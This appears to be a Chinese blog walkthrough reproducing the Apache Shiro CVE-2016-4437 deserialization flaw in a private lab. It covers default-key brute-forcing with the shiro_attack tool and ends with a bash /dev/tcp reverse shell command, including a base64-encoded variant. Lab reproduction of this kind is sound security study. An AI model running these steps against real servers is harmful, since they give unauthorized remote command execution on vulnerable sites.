shiro CVE-2016-4437漏洞复现

shiro简介

shiro 是 java 的框架,分版本

shiro 框架:一个安全的用于管理 java 网站登录授权的框架

shiro 框架之所以安全:

是因为其传输过程 admin ---> 序列化 ---> aes 加密 ---> base64编码

最后攻击者只能拿到 base64 加密的密文,可以解密 base64,但若想解密aes则必须要有密钥,但由于 shiro 框架在传输过程中不传输密钥,故无法进行解密无法获得序列化后的字符串,也就无法利用反序列化漏洞

但为什么有 shiro 反序列化漏洞呢?

因为建好 shiro 框架后开发者出示了几个默认账密供登录,以表明可正常使用该框架,故而会有默认密钥,但运维人员并未删除默认密钥,故造成漏洞

漏洞利用条件

默认密钥

利用链

环境启动

                  Kali:192.168.2.235

                 win10:192.168.2.215

利用工具

shiro反序列化自动利用工具 --- shiro_attack-4.7.0-SNAPSHOT-all

PS:工具可从 github 下载,配置环境可参照上一篇所示,有具体步骤

漏洞复现

1. Kali 开启docker环境

sudo docker-compose up -d

2. 在shiro 工具路径下输入“cmd”,打开命令窗口

3. 在打开的cmd窗口键入以下命令,运行该工具的 jar 包

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

打开工具后,输入目标IP和端口,首先爆破密钥

找到密钥 key 后,需检测当前利用链,显示发现构造链后,需爆破利用链及回显

爆破成功后,方可在 “命令执行”中输入命令,验证是否成功得到回显信息,可看到下方输入命令“id”后,回显成功,故可尝试反弹shell

4. 首先在 win10 中利用 Yakit 开启监听,也可利用 NC 等监听工具

5. 监听完成后,输入反弹shell的命令,进行反弹,多次尝试,可以在百度搜索各类反弹shell,反弹shell 中的 IP和端口均为 win10 本机的

# 反弹shell
bash -i >& /dev/tcp/192.168.2.215/6666 0>&1
# 上述反弹shell经过base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjE1LzY2NjYgMD4mMQ==
# 将base64编码后的字段加入echo,后利用bash命令构成反弹
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjE1LzY2NjYgMD4mMQ==
}|{base64,-d}|{bash,-i}

6. 反弹 shell 执行成功后即可执行RCE


 

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值